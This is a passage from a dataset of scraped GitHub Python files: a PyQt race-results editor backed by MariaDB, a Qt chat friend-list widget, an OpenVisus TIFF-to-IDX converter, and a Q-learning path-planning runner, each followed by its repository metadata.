layout.addWidget(self.view)\n    self.setLayout(layout)\n\n@dataclass\nclass DBResult():\n  id: int = 0\n  driver: str = \"\"\n  fastest_lap: int = 0\n  position: int = 0\n  status: str = \"\"\n\nclass ResultsModel(QAbstractTableModel):\n  cursor: mariadb.Cursor\n  race_id: int = 1\n\n  _header = [\"Driver\", \"Fastest lap [s]\", \"Endposition\", \"Status\"]\n  _data: [DBResult] = []\n\n  def update(self):\n    self.beginResetModel()\n    self.cursor.execute(\"select raceresult.ID, regexp_replace(concat(member.firstName, ' ', member.middleName, ' ', member.lastName), '  *', ' ') as driver, raceresult.fastestlap, endposition.position, specialposition.type from raceresult join endposition on endposition.ID = raceresult.endPositionID join member on member.ID = endposition.memberID join specialposition on specialposition.ID = endposition.specialPositionID where raceresult.raceID = ? order by endposition.position\", (self.race_id,))\n    self._data = list()\n    for result in self.cursor.fetchall():\n      self._data.append(DBResult(*result))\n    self.endResetModel()\n\n  def __init__(self, cursor):\n    super().__init__()\n    self.cursor = cursor\n    self.update()\n\n  def rowCount(self, index=0):\n    return len(self._data)\n\n  def columnCount(self, index=0):\n    return len(self._header)\n\n  def headerData(self, section, orientation, role):\n    if role == Qt.DisplayRole:\n      if orientation == Qt.Horizontal:\n        return self._header[section]\n      else:\n        return self._data[section].id\n\n  def data(self, index, role):\n    if role == Qt.DisplayRole:\n      result = self._data[index.row()]\n      return (\n        result.driver,\n        result.fastest_lap,\n        result.position,\n        result.status,\n      )[index.column()]\n\n  def set_race_id(self, race_id):\n    self.race_id = race_id\n    self.update()\n\nclass ResultBrowser(QWidget):\n  view: QTableView\n  model_table: ResultsModel\n  model_proxy: QSortFilterProxyModel\n  parent_update_fn: callable\n  selected_result_id: int = 1\n  ignore_update: bool = False\n  temp_selection_index: int = 0\n\n  def update(self, cascade=True):\n    self.model_table.update()\n    self.ignore_update = True\n    self.view.selectRow(self.temp_selection_index)\n    self.ignore_update = False\n\n  def parent_update(self):\n    if self.parent_update_fn != None:\n      self.parent_update_fn()\n\n  def set_parent_update(self, fn):\n    self.parent_update_fn = fn\n\n  def set_race_id(self, race_id):\n    self.model_table.set_race_id(race_id)\n\n  def on_selection(self):\n    if self.ignore_update: return\n    rows = self.view.selectionModel().selectedRows()\n    if len(rows) == 0: return\n    row = rows[0].row()\n    self.temp_selection_index = row\n    index = self.model_proxy.mapToSource(self.model_proxy.index(row, 0))\n    new_result_id = self.model_table.headerData(index.row(), Qt.Vertical, Qt.DisplayRole)\n    if self.selected_result_id == new_result_id: return\n    self.selected_result_id = new_result_id\n    self.parent_update()\n\n  def __init__(self, cursor: mariadb.Cursor, parent=None):\n    super(ResultBrowser, self).__init__(parent)\n\n    self.cursor = cursor\n\n    self.view = QTableView()\n    self.view.setSelectionBehavior(QAbstractItemView.SelectRows)\n    self.model_table = ResultsModel(self.cursor)\n    self.model_proxy = QSortFilterProxyModel()\n    self.model_proxy.setSourceModel(self.model_table)\n    self.view.setModel(self.model_proxy)\n    self.view.setSortingEnabled(True)\n    self.view.selectionModel().selectionChanged.connect(self.on_selection)\n\n    layout = QGridLayout();\n    layout.addWidget(self.view)\n    self.setLayout(layout)\n\nclass ResultDetailsWidget(QWidget):\n  cursor: mariadb.Cursor\n  parent_update_fn: callable\n  selected_result_id: int = 1\n\n  result_details: DBResult\n\n  label_id: QLabel\n  num_end_position: QSpinBox\n  combo_status: QComboBox\n  num_fastest_lap_time: QSpinBox\n\n  def update(self, cascade=True):\n    self.cursor.execute(\"select endposition.position, specialposition.type, raceresult.fastestlap from endposition join raceresult on raceresult.endPositionID = endposition.ID join specialposition on specialposition.ID = endposition.specialPositionID where raceresult.ID = ?\", (self.selected_result_id,))\n    result = self.cursor.fetchone()\n\n    self.label_id.setText(f\"{self.selected_result_id}\")\n    self.num_end_position.setValue(result[0])\n    self.combo_status.setCurrentText(result[1])\n    self.num_fastest_lap_time.setValue(result[2])\n    \n    if cascade == False: return\n\n  def parent_update(self):\n    if self.parent_update_fn != None:\n      self.parent_update_fn()\n\n  def set_result_id(self, id):\n    self.selected_result_id = id\n    self.update(False)\n\n  def set_parent_update(self, fn):\n    self.parent_update_fn = fn\n\n  def save_edits(self):\n    fastest_lap = self.num_fastest_lap_time.value()\n    end_position = self.num_end_position.value()\n    special_position_id = self.combo_status.itemData(self.combo_status.currentIndex())\n\n    self.cursor.execute(\"select endPositionID from raceresult where ID = ?\", (self.selected_result_id,))\n    endposition_id = self.cursor.fetchone()[0]\n\n    self.cursor.execute(\"update `raceresult` set `fastestlap` = ? where `ID` = ?\", (fastest_lap, self.selected_result_id,))\n    self.cursor.execute(\"update `endposition` set `position` = ?, `specialPositionID` = ? where `ID` = ?\", (end_position, special_position_id, endposition_id,))\n\n    self.parent_update()\n\n  def __init__(self, cursor: mariadb.Cursor, parent=None):\n    super(ResultDetailsWidget, self).__init__(parent)\n    self.cursor = cursor\n\n    self.result_details = DBResult()\n\n    layout = QVBoxLayout(self)\n    layout.setAlignment(Qt.AlignmentFlag.AlignTop)\n\n    self.label_id = QLabel(\"hoi\")\n    self.num_end_position = QSpinBox()\n    self.num_end_position.setMinimum(0);\n    self.num_end_position.setMaximum(25);\n    self.num_end_position.setSingleStep(1);\n    self.num_fastest_lap_time = QSpinBox()\n    self.combo_status = QComboBox()\n\n    self.cursor.execute(\"select ID, type from specialposition\")\n    for status in self.cursor.fetchall():\n      self.combo_status.addItem(status[1], status[0])\n\n    details_form = QFormLayout(self)\n    details_form.addRow(\"ID\", self.label_id)\n    details_form.addRow(\"Fastest lap time (s)\", self.num_fastest_lap_time)\n    details_form.addRow(\"End position\", self.num_end_position)\n    details_form.addRow(\"Status\", self.combo_status)\n    layout.addLayout(details_form)\n\n    self.push_button_save = QPushButton(\"Save edits\")\n    self.push_button_save.clicked.connect(self.save_edits)\n    layout.addWidget(self.push_button_save)\n\n    self.setLayout(layout)\n\nclass TabRaces(QWidget):\n  calendar_id: int = 1\n  parent: QMainWindow\n  cursor: mariadb.Cursor\n  selected_race_id: int = 1\n  selected_race_result_id: int = 1\n\n  race_browser: RaceBrowser\n  result_browser: ResultBrowser\n  result_editor: ResultDetailsWidget\n\n  def set_calendar_id(self, calendar_id):\n    self.calendar_id = calendar_id\n    self.race_browser.set_calendar_id(calendar_id)\n\n  def update(self, cascade=True):\n    print(\"update TabRaces\")\n\n    if not cascade: return\n    self.race_browser.update(True)\n\n  def child_update(self):\n    self.race_browser.update(False)\n    self.selected_race_id = self.race_browser.selected_race_id\n    self.result_browser.set_race_id(self.selected_race_id)\n    self.selected_race_result_id = self.result_browser.selected_result_id\n    self.result_editor.set_result_id(self.selected_race_result_id)\n\n  def __init__(self, cursor, parent=None):\n    super(TabRaces, self).__init__(parent)\n    self.parent = parent\n    self.cursor = cursor\n\n    self.race_browser = RaceBrowser(self.cursor, self)\n    self.result_browser = ResultBrowser(self.cursor, self)\n    self.result_editor = ResultDetailsWidget(self.cursor, self)\n    self.race_browser.set_parent_update(self.child_update)\n    self.result_browser.set_parent_update(self.child_update)\n    self.result_editor.set_parent_update(self.child_update)\n\n    layout = QHBoxLayout()\n    column1 = QVBoxLayout()\n    column1.addWidget(QLabel(\"Race\"))\n    column1.addWidget(self.race_browser)\n    column2 = QVBoxLayout()\n    column2.addWidget(QLabel(\"Results\"))\n    column2.addWidget(self.result_browser)\n    column3 = QVBoxLayout()\n    column3.setAlignment(Qt.AlignmentFlag.AlignTop)\n    column3.addWidget(QLabel(\"Details\"))\n    column3.addWidget(self.result_editor)\n    layout.addLayout(column1)\n    layout.addLayout(column2)\n    layout.addLayout(column3)\n\n    self.setLayout(layout)\n\n","repo_name":"lonkaars/dab2","sub_path":"gui/tab_races.py","file_name":"tab_races.py","file_ext":"py","file_size_in_byte":11900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2642474628","text":"import time\n\nfrom NikoKit.NikoQt.NQAdapter import *\nfrom NikoKit.NikoQt.NQKernel import NQFunctions\nfrom NikoKit.NikoQt.NQKernel.NQComponent.NQResource import NQResource\nfrom NikoKit.NikoQt.NQKernel.NQGui.NQMixin import NQMixin\nfrom NikoKit.NikoQt.NQKernel.NQGui.NQWidget import NQWidget\nfrom NikoKit.NikoStd import NKStyleSheet, NKConst\n\n\nclass NQWidgetChatFriendList(NQWidget):\n    signal_tab_conv_clicked = Signal(str)  # Widget UUID\n    signal_tab_friend_clicked = Signal(str)  # Widget UUID\n    signal_tab_group_clicked = Signal(str)  # Widget UUID\n    signal_tab_org_clicked = Signal(str)  # Widget UUID\n    signal_user_clicked = Signal(object)\n\n    class SearchBar(NQWidget):\n\n        def __init__(self,\n                     *args,\n                     **kwargs):\n            # Private Storage\n\n            # GUI Component\n            self.search_line_edit = None\n\n            super(NQWidgetChatFriendList.SearchBar, self).__init__(\n                *args,\n                **kwargs)\n\n        def construct(self):\n            # Widgets\n            main_lay = QHBoxLayout()\n\n            search_line_edit = QLineEdit()\n\n            # search_btn = QPushButton(\"搜索\")\n            search_btn = QPushButton(search_line_edit)\n            search_btn.setCursor(Qt.PointingHandCursor)\n            search_btn.setFixedSize(22, 22)\n            search_btn.setToolTip(\"搜索\")\n            search_btn.setFlat(True)\n            # search_btn.setIcon(QIcon(r\"L:\\work\\chat_test\\ico\\4.ico\"))\n            search_btn.setText(\"🔎\")\n\n            # 防止文本框输入内容位于按钮之下\n            margins = search_line_edit.textMargins()\n            search_line_edit.setTextMargins(margins.left(), margins.top(), search_btn.width(), margins.bottom())\n            search_line_edit.setPlaceholderText(\"请输入搜索内容\")\n\n            search_lay = QHBoxLayout(search_line_edit)\n            search_lay.addStretch()\n            search_lay.addWidget(search_btn)\n            search_lay.setSpacing(0)\n            search_lay.setContentsMargins(0, 0, 0, 0)\n\n            # Relationships\n            main_lay.addWidget(search_line_edit)\n\n            # Storage\n            self.setLayout(main_lay)\n\n            self.search_line_edit = search_line_edit\n\n        def search(self):\n            pass\n\n    class AvatarLabel(NQMixin, QLabel):\n        def __init__(self,\n                     avatar_pixmap=None,\n                     unread_count=0,\n                     show_unread=False,\n                     show_unread_count=False,\n                     *args,\n                     **kwargs):\n\n            # Private Storage\n            self.avatar = avatar_pixmap\n            self.unread_count = unread_count\n            self.show_unread = show_unread\n            self.show_unread_count = show_unread_count\n\n            # GUI Component\n            self.unread_label = None\n\n            # Initialization\n            super(NQWidgetChatFriendList.AvatarLabel, self).__init__(\n                *args,\n                **kwargs)\n\n            self.setAttribute(Qt.WA_StyledBackground, True)\n\n            self.setFixedSize(40, 40)\n\n        def construct(self):\n            # Widgets\n            main_lay = QVBoxLayout()\n\n            unread_label = QLabel()\n            unread_label.setFixedSize(8, 8)\n            # unread_label.setStyleSheet(\"QLabel{background-color:red;border-radius:25px;border:1px solid red;}\")\n            unread_label.setStyleSheet(NKStyleSheet.build(selector=\"QLabel\",\n                                                          border_radius=\"4px\",\n                                                          border=\"1px solid red\",\n                                                          background_color=\"red\"))\n\n            # Relationships\n            main_lay.addWidget(unread_label, alignment=Qt.AlignTop | Qt.AlignRight)\n            main_lay.setMargin(0)\n\n            # Storage\n            self.setLayout(main_lay)\n\n            self.unread_label = unread_label\n\n            self.reset_unread_label()\n\n        def connect_signals(self):\n            pass\n\n        def set_unread_count(self, count):\n            self.unread_count = count\n            self.reset_unread_label()\n\n        def reset_unread_label(self):\n            if self.show_unread:\n                self.unread_label.show()\n                if self.show_unread_count:\n                    if self.unread_count > 99:\n                        self.unread_label.setText(\"99+\")\n                    else:\n                        self.unread_label.setText(str(self.unread_count))\n                    self.unread_label.setFixedSize(16, 16)\n                    self.unread_label.setStyleSheet(NKStyleSheet.build(selector=\"QLabel\",\n                                                                       border_radius=\"8px\",\n                                                                       border=\"1px solid red\",\n                                                                       background_color=\"red\"\n                                                                       ))\n\n                else:\n                    self.unread_label.setText(\"\")\n                    self.unread_label.setFixedSize(8, 8)\n                    self.unread_label.setStyleSheet(NKStyleSheet.build(selector=\"QLabel\",\n                                                                       border_radius=\"4px\",\n                                                                       border=\"1px solid red\",\n                                                                       background_color=\"red\"))\n            else:\n                self.unread_label.setText(\"\")\n                self.unread_label.hide()\n\n        def get_grayscale_avatar(self):\n            return NQResource.get_grayscale_pixmap(self.user.user_pic_pixmap)\n\n        def set_grayscale_avatar(self, is_grayscale):\n            if is_grayscale:\n                self.setPixmap(self.get_grayscale_avatar().scaled(40, 40))\n            else:\n                self.setPixmap(self.avatar_pixmap.scaled(40, 40))\n\n        # def unread_count_changed2(self):\n        #\n        #     # user_pic = self.user.user_pic_pixmap.scaled(256, 256)\n        #     user_pic = NQResource.scale(self.message.user.user_pic_pixmap,\n        #                                 256,\n        #                                 stretch=True,\n        #                                 compress=True)\n        #     if self.unread_count == 0:\n        #         pass\n        #     else:\n        #         if self.show_unread:\n        #             ellipse_rx, ellipse_ry = 30, 30\n        #             text_point = QPoint(170, 100)\n        #             display_str = str(self.unread_count)\n        #             if self.unread_count < 10:\n        #                 ellipse_rx, ellipse_ry = 30, 30\n        #                 text_point = QPoint(170, 100)\n        #                 display_str = str(self.unread_count)\n        #             elif 10 <= self.unread_count < 100:\n        #                 ellipse_rx, ellipse_ry = 40, 30\n        #                 text_point = QPoint(160, 100)\n        #                 display_str = str(self.unread_count)\n        #             elif 100 <= self.unread_count:\n        #                 ellipse_rx, ellipse_ry = 50, 30\n        #                 text_point = QPoint(150, 100)\n        #                 display_str = \"99+\"\n        #\n        #             painter = QPainter()\n        #             painter.begin(user_pic)\n        #             painter.setBrush(QColor(\"#FA5151\"))  # Set the circle color\n        #\n        #             center = QPoint(180, 90)  # 椭圆圆心位置\n        #             painter.drawEllipse(center, ellipse_rx, ellipse_ry)  # 画椭圆（椭圆圆心，宽，高）\n        #\n        #             font = painter.font()\n        #             font.setPointSize(30)  # 设置字体大小\n        #\n        #             pen = painter.pen()\n        #             pen.setColor(Qt.white)  # Set the text color\n        #\n        #             painter.setPen(pen)\n        #             painter.setFont(font)\n        #             painter.drawText(text_point, display_str)  # 画文本（坐标点（80，100），内容）\n        #             painter.end()\n        #         else:\n        #             ellipse_rx, ellipse_ry = 20, 20\n        #\n        #             painter = QPainter()\n        #             painter.begin(user_pic)\n        #             painter.setBrush(QColor(\"#FA5151\"))  # Set the circle color\n        #\n        #             center = QPoint(190, 80)  # 椭圆圆心位置\n        #             painter.drawEllipse(center, ellipse_rx, ellipse_ry)  # 画椭圆（椭圆圆心，宽，高）\n        #\n        #             painter.end()\n        #\n        #     icon = QIcon()\n        #     icon.addPixmap(user_pic, QIcon.Normal, QIcon.Off)\n        #     self.pixmapBtn.setIcon(icon)\n\n    class ConversationWidget(NQWidget):\n        class ConversationItemWidget(NQWidget):\n            def __init__(self,\n                         owner=None,\n                         conversation=None,\n                         offline=False,\n                         avatar_pixmap=None,\n                         unread_count=0,\n                         show_unread=False,\n                         *args,\n                         **kwargs\n                         ):\n\n                # Private Storage\n                self.owner = owner\n                self.conversation = conversation\n                self.offline = offline\n                self.avatar_pixmap = avatar_pixmap\n                self.unread_count = unread_count\n                self.show_unread = show_unread\n                self.conversation_name = None\n                self.conversation_last_content = None\n\n                # GUI Component\n                self.avatar_label = None\n\n                self.conversation_name_label = None\n\n                self.conversation_content_label = None\n\n                # Initialization\n                super(NQWidgetChatFriendList.ConversationWidget.ConversationItemWidget, self).__init__(\n                    *args,\n                    **kwargs\n                )\n                # self.\n\n            def construct(self):\n\n                # Widgets\n                main_lay = QHBoxLayout()\n\n                avatar_label = NQWidgetChatFriendList.AvatarLabel(show_unread=True,\n                                                                  unread_count=15,\n                                                                  show_unread_count=True)\n                # avatar_label = QLabel()\n                # avatar_label.setPixmap(QPixmap(r\"L:\\work\\chat_test\\ico\\7.ico\"))\n\n                v2_lay = QVBoxLayout()\n\n                conversation_name_label = QLabel()\n                conversation_name_label.setStyleSheet(NKStyleSheet.build(selector=\"QLabel\",\n                                                                         font_size=\"20\"))\n\n                conversation_content_label = QLabel()\n                conversation_name_label.setStyleSheet(NKStyleSheet.build(selector=\"QLabel\",\n                                                                         font_size=\"10\"))\n\n                # Relationships\n                main_lay.addWidget(avatar_label, alignment=Qt.AlignVCenter)\n                main_lay.addLayout(v2_lay)\n\n                v2_lay.addWidget(conversation_name_label, alignment=Qt.AlignLeft)\n                v2_lay.addWidget(conversation_content_label, alignment=Qt.AlignLeft)\n\n                # Storage\n                self.setLayout(main_lay)\n\n                self.avatar_label = avatar_label\n\n                self.conversation_name_label = conversation_name_label\n\n                self.conversation_content_label = conversation_content_label\n\n            def set_offline(self, offline_status):\n                self.offline = offline_status\n                self.update_offline()\n\n            def update_offline(self):\n                if self.offline:\n                    self.set_avatar(NQResource.get_grayscale_pixmap(self.conversation.conversation_pic_pixmap))\n                else:\n                    if self.show_unread and self.unread_count:\n                        self.set_avatar(self.conversation.conversation_unread_pic_pixmap)\n                    else:\n                        self.set_avatar(self.conversation.conversation_pic_pixmap)\n\n            def update_conversation(self, conversation):\n                self.conversation = conversation\n                self.update_avatar()\n                if self.conversation.group_name:\n                    self.update_group_name()\n                else:\n                    self.update_user_name()\n                self.update_content()\n\n            def set_avatar_pixmap(self, pixmap):\n                self.avatar_pixmap = pixmap\n\n            def update_avatar_pixmap(self):\n                self.avatar_label.setPixmap(self.avatar_pixmap.scaled(40, 40))\n\n            def update_content(self):\n                self.conversation_content_label.setText(self.conversation_last_content)\n\n            def update_conversation_name_label(self):\n                self.conversation_name_label.setText(self.conversation_name)\n\n            def set_conversation_name(self, new_conversation_name):\n                self.conversation_name = new_conversation_name\n\n            def update_data(self):\n                if len(self.conversation.users) == 2:\n                    for user_id in self.conversation.users.keys():\n                        if user_id != self.owner.user_id:\n                            self.conversation_name = self.conversation.users[user_id].user_print_name\n                            self.set_avatar_pixmap(self.conversation.users[user_id].user_pic_pixmap)\n                            self.conversation_last_content = self.conversation.get_last_content()\n                else:\n                    self.conversation_name = self.conversation.group_name\n                    self.set_avatar_pixmap(self.conversation.conversation_group_pic_pixmap)\n\n            def refresh(self):\n                self.update_data()\n                self.update_avatar_pixmap()\n                self.update_conversation_name_label()\n                self.update_content()\n\n        class ConversationItem(QListWidgetItem):\n\n            def __init__(self,\n                         parent=None,\n                         item_widget=None,\n                         *args,\n                         **kwargs\n                         ):\n\n                self.parent = parent\n                self.item_widget = item_widget\n\n                # Initialization\n                super(NQWidgetChatFriendList.ConversationWidget.ConversationItem, self).__init__(\n                    *args,\n                    **kwargs\n                )\n                # self.setForeground(QBrush(NKConst.COLOR_GREEN))\n\n            def get_last_time(self):\n                return self.item_widget.conversation.last_conversation_time\n                # return self.parent.itemWidget(self).conversation.last_conversation_time\n\n            def __lt__(self, other):\n                try:\n                    return self.get_last_time() < other.get_last_time()\n                except Exception:\n                    return QListWidgetItem.__lt__(self, other)\n\n        def __init__(self,\n                     owner=None,\n                     conversations=None,\n                     *args,\n                     **kwargs):\n\n            # Private Storage\n            if conversations is None:\n                conversations = {}\n            self.owner = owner\n            self.conversations = conversations\n\n            # GUI Component\n            self.conversation_list_widget = None\n\n            # Initialization\n            super(NQWidgetChatFriendList.ConversationWidget, self).__init__(\n                *args,\n                **kwargs)\n\n        def construct(self):\n            # Widgets\n            main_lay = QVBoxLayout()\n\n            conversation_list_widget = QListWidget()\n            conversation_list_widget.setStyleSheet(NKStyleSheet.build(selector=\"QListWidget::item:selected\",\n                                                                      background_color=NKConst.COLOR_GREY))\n\n            # Relationships\n            main_lay.addWidget(conversation_list_widget)\n\n            # Storage\n            self.setLayout(main_lay)\n\n            self.conversation_list_widget = conversation_list_widget\n\n        def set_owner(self, user):\n            self.owner = user\n\n        def add_conversation(self, conversation):\n            self.conversations[conversation.conversation_id] = conversation\n            new_conversation_item_widget = self.ConversationItemWidget(owner=self.owner,\n                                                                       conversation=conversation)\n            new_conversation_item_widget.refresh()\n            self.add_item(new_conversation_item_widget)\n            self.sort_conversations()\n\n        def add_conversations(self, conversations):\n            for conversation_id in conversations.keys():\n                self.conversations[conversation_id] = conversations[conversation_id]\n                new_conversation_item_widget = self.ConversationItemWidget(owner=self.owner,\n                                                                           conversation=conversations[conversation_id])\n                new_conversation_item_widget.refresh()\n                self.add_item(new_conversation_item_widget)\n            self.sort_conversations()\n\n        def add_item(self, item_widget):\n            new_conversation_item = self.ConversationItem(parent=self, item_widget=item_widget)\n            new_conversation_item.setSizeHint(QSize(200, 50))\n            self.conversation_list_widget.addItem(new_conversation_item)\n            self.conversation_list_widget.setItemWidget(new_conversation_item, item_widget)\n\n        def update_conversation(self, conversation):\n            self.conversations[conversation.conversation_id] = conversation\n            self.get_conversation_item(conversation.conversation_id).update_item()\n            self.sort_conversations()\n\n        def del_conversation(self, conversation_id):\n            for row in range(self.conversation_list_widget.count()):\n                row_item = self.conversation_list_widget.item(row)\n                if row_item.conversation.conversation_id == conversation_id:\n                    self.conversation_list_widget.takeItem(row)\n                    break\n\n        def get_conversation_item(self, conversation_id):\n            conversation_item = None\n            for row in range(self.conversation_list_widget.count()):\n                row_item = self.conversation_list_widget.item(row)\n                if row_item.conversation.conversation_id == conversation_id:\n                    conversation_item = row_item\n                    break\n            return conversation_item\n\n        def sort_conversations(self):\n            self.conversation_list_widget.sortItems(Qt.DescendingOrder)\n\n    def __init__(self,\n                 *args,\n                 **kwargs):\n\n        # Private Storage\n\n        # GUI Component\n        self.tab_conv_widget = None\n\n        super(NQWidgetChatFriendList, self).__init__(\n            *args,\n            **kwargs)\n\n    def construct(self):\n        # Widgets\n        main_lay = QVBoxLayout()\n\n        search_bar = self.SearchBar()\n\n        chat_tab = QTabWidget()\n\n        tab_conv_widget = self.ConversationWidget()\n        tab_friend_widget = QWidget()\n        tab_group_widget = QWidget()\n        tab_org_widget = QWidget()\n\n        chat_tab.addTab(tab_conv_widget, \"聊天\")\n        chat_tab.addTab(tab_friend_widget, \"好友\")\n        chat_tab.addTab(tab_group_widget, \"群组\")\n        chat_tab.addTab(tab_org_widget, \"组织\")\n\n        # Relationships\n        main_lay.addWidget(search_bar)\n        main_lay.addWidget(chat_tab, 1)\n\n        # Storage\n        self.setLayout(main_lay)\n\n        self.tab_conv_widget = tab_conv_widget\n\n    def set_users(self, user_dict):\n        pass\n\n    def add_user(self, user):\n        pass\n\n    def clear_users(self):\n        pass\n\n    def slot_user_clicked(self):\n        pass\n","repo_name":"nikoc2016/NikoKit","sub_path":"NikoQt/NQKernel/NQGui/NQChatSuite/NQWidgetChatFriendList.py","file_name":"NQWidgetChatFriendList.py","file_ext":"py","file_size_in_byte":20131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30928292685","text":"from OpenVisus import *\r\nimport numpy as np\r\nimport os.path\r\nimport argparse\r\nfrom skimage import io\r\nfrom glob import glob\r\n\r\n\r\ndescript = \"\"\"Attaching per-county data to the globale output\"\"\"\r\nparser = argparse.ArgumentParser(description=descript)\r\n\r\nparser.add_argument(\"-i\", help=\"The list of input tiff files lexicographically ordered\", nargs='+')\r\nparser.add_argument(\"-ii\", help=\"\\\"Wildcard string for all tiff files\\\"\", type=str)\r\nparser.add_argument(\"-sort\", help=\"Re-sort the filenames explicitly by trying to extract a running number\", action='store_true')\r\nparser.add_argument(\"-o\", help=\"Name of the output idx file\", default=\"output.idx\")\r\nparser.add_argument(\"-direction\", help=\"Indicate whether the tiff stack is sliced in [X|Y|Z] direction\", default=\"Z\", choices=['X','Y','Z'])\r\nparser.add_argument(\"-type\", help=\"Datatype in the image [int16,float32,float64]\", default=\"int16\", choices=['int16','float32','float64'])\r\nparser.add_argument(\"-fieldname\", help=\"The name of the channel\", default='xray')\r\nparser.add_argument(\"-slab\", help=\"The number of slices written concurrentll\", default=1,type=int)\r\n\r\nargs = parser.parse_args()\r\n\r\nif args.i:\r\n    tiff_files = args.i\r\n\r\nif args.ii:\r\n    tiff_files = glob(args.ii)\r\n    tiff_files.sort()    \r\n    \r\nif len(tiff_files) > 1 and args.sort:\r\n    prefix = tiff_files[0]\r\n    postfix = tiff_files[0]\r\n    \r\n    for f in tiff_files[1:]:\r\n        # If the current prefix is not a true prefix\r\n        if prefix != f[:len(prefix)]:\r\n            i = 0\r\n            while prefix[i] == f[i]:\r\n                i += 1\r\n            prefix = prefix[:i]\r\n        \r\n        if postfix != f[-len(postfix):]:\r\n            \r\n            i = -1\r\n            while postfix[i] == f[i]:\r\n                i -= 1\r\n            postfix = postfix[i+1:]\r\n    \r\n    start = len(prefix)\r\n    stop = -len(postfix)\r\n    \r\n    tiff_files = sorted(tiff_files,key=lambda a: int(a[start:stop]))\r\n    \r\n\r\noutput_name = args.o\r\ndirection = args.direction\r\nfieldname = args.fieldname\r\nslab = args.slab\r\n\r\nif args.type == 'int8':\r\n    type = np.uint8\r\n    maximum = (1 << 8) - 1\r\nelif args.type == 'int16':\r\n    type = np.uint16\r\n    maximum = (1 << 16) - 1\r\nelif args.type == \"float32\":\r\n    type = np.float32\r\n    maximum = 1\r\nelse:\r\n    type = np.float64\r\n    maximum = 1\r\n    \r\n# First we will load a single slice and figure out the dimensions\r\nimg =  io.imread(tiff_files[0])\r\n\r\nif direction == 'X':\r\n    dim = [len(tiff_files),img.shape[1],img.shape[0]]\r\nelif direction == 'Y':\r\n    dim = [img.shape[1], len(tiff_files), img.shape[0]]\r\nelse:\r\n    dim = [img.shape[1], img.shape[0], len(tiff_files)]\r\n\r\n# Now create the idx file \r\n\r\nDbModule.attach()\r\n\r\nidx_name = os.path.join(output_name)\r\n\r\nidx_file = CreateIdx(url=idx_name,\r\n                     dims=dim,\r\n                     fields=[Field(str(fieldname),\"float32\")]\r\n                     )\r\n\r\ndataset = LoadDataset(idx_name)\r\nif not dataset: raise Exception(\"Cannot load idx\")\r\n\r\naccess = dataset.createAccess()\r\nif not access: raise Exception(\"Cannot create access\")\r\n\r\n\r\nfield = dataset.getField(fieldname)\r\n\r\n# Now compute the target location\r\nbottom = [0,0,0]\r\n\r\nif direction == 'X':\r\n    top = [0,dim[1],dim[2]]\r\n    delta = Point[1,0,0]\r\n    data = np.zeros(shape=[dim[2],dim[1],slab],dtype=np.float32)\r\nelif direction == 'Y':\r\n    top = [dim[0],0,dim[2]]\r\n    delta = [0,1,0]\r\n    data = np.zeros(shape=[dim[2],slab,dim[0]],dtype=np.float32)\r\nelse:\r\n    top = [dim[0],dim[1],0]\r\n    delta = [0,0,1]\r\n    data = np.zeros(shape=[slab,dim[1],dim[0]],dtype=np.float32)\r\n    \r\n\r\ntop = np.array(top,dtype=int)\r\nbottom = np.array(bottom,dtype=int)\r\ndelta = np.array(delta,dtype=int)\r\n    \r\ncount = 0 # The current slab size    \r\nfor file in tiff_files:\r\n    \r\n    \r\n    slice = np.flip(np.array(io.imread(file).astype(np.float32))/maximum,0)\r\n    \r\n    if direction == 'X':\r\n        data[:,:,count%slab] = slice\r\n    elif direction == 'Y':\r\n        data[:,count%slab,:] = slice\r\n    else:\r\n        data[count%slab,:,:] = slice\r\n         \r\n\r\n    count += 1\r\n    \r\n    if count % slab == 0:\r\n        \r\n        low = bottom + (count - slab)*delta\r\n        high = top + count*delta\r\n        target_box = BoxNi(PointNi(int(low[0]),int(low[1]),int(low[2])), \r\n                           PointNi(int(high[0]),int(high[1]),int(high[2])))\r\n        \r\n        print(low, high)\r\n\r\n        dataset.write(data, field=field, logic_box=target_box)\r\n        \r\n# Now remember to write whatever remaining slices\r\nif count % slab != 0:\r\n        low = bottom + (count - count%slab)*delta\r\n        high = top + count*delta\r\n        target_box = BoxNi(PointNi(int(low[0]),int(low[1]),int(low[2])), \r\n                           PointNi(int(high[0]),int(high[1]),int(high[2])))\r\n\r\n        print(low, high)\r\n        \r\n        # We need to make a copy because the array might not be contiguous\r\n        if direction == 'X':\r\n            data = np.array(data[:,:,:count%slab],dtype=np.float32)\r\n        elif direction == 'Y':\r\n            data = np.array(data[:,:count%slab:,:],dtype=np.float32)\r\n        else:\r\n            data = np.array(data[:count%slab:,:,:],dtype=np.float32)\r\n\r\n        dataset.write(data, field=field, logic_box=target_box)\r\n\r\n \r\n        \r\nidx_file.compressDataset([\"zip\"])\r\nDbModule.detach()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"siramok/OpenVisus","sub_path":"Samples/python/convert_tiff_stack.py","file_name":"convert_tiff_stack.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"6254770809","text":"from print_results import *\r\n\r\n\r\ndef main():\r\n    total_steps = []\r\n    total_rewards = []\r\n    total_values = []\r\n    episodes = 5000\r\n\r\n    for episode in range(episodes):\r\n        state = env.reset()  # return the coordination of the agent\r\n        step = 0\r\n        value = 0\r\n        reward_value = 0\r\n        while True:\r\n            env.refresh()\r\n            action = RL.choose_action(str(state))\r\n            next_state, reward, done = env.step(action)\r\n            value += RL.learning(str(state), action, reward, str(next_state))\r\n            state = next_state\r\n            step += 1\r\n            reward_value += reward\r\n\r\n            if done:\r\n                total_steps += [step]\r\n                total_rewards += [reward_value]\r\n                total_values +=[value]\r\n                break\r\n\r\n    env.final_path()\r\n    plot.plot_reward(total_rewards)\r\n    plot.plot_steps(total_steps)\r\n    plot.plot_value(total_values)\r\n    RL.print_q_table()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    env = Environment()\r\n    RL = QLearning(actions=list(range(env.num_actions)))\r\n    plot = Plot_Results()\r\n    env.after(10, main)\r\n    env.mainloop()\r\n","repo_name":"pouyan-asg/global-path-planning","sub_path":"Q_learning/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
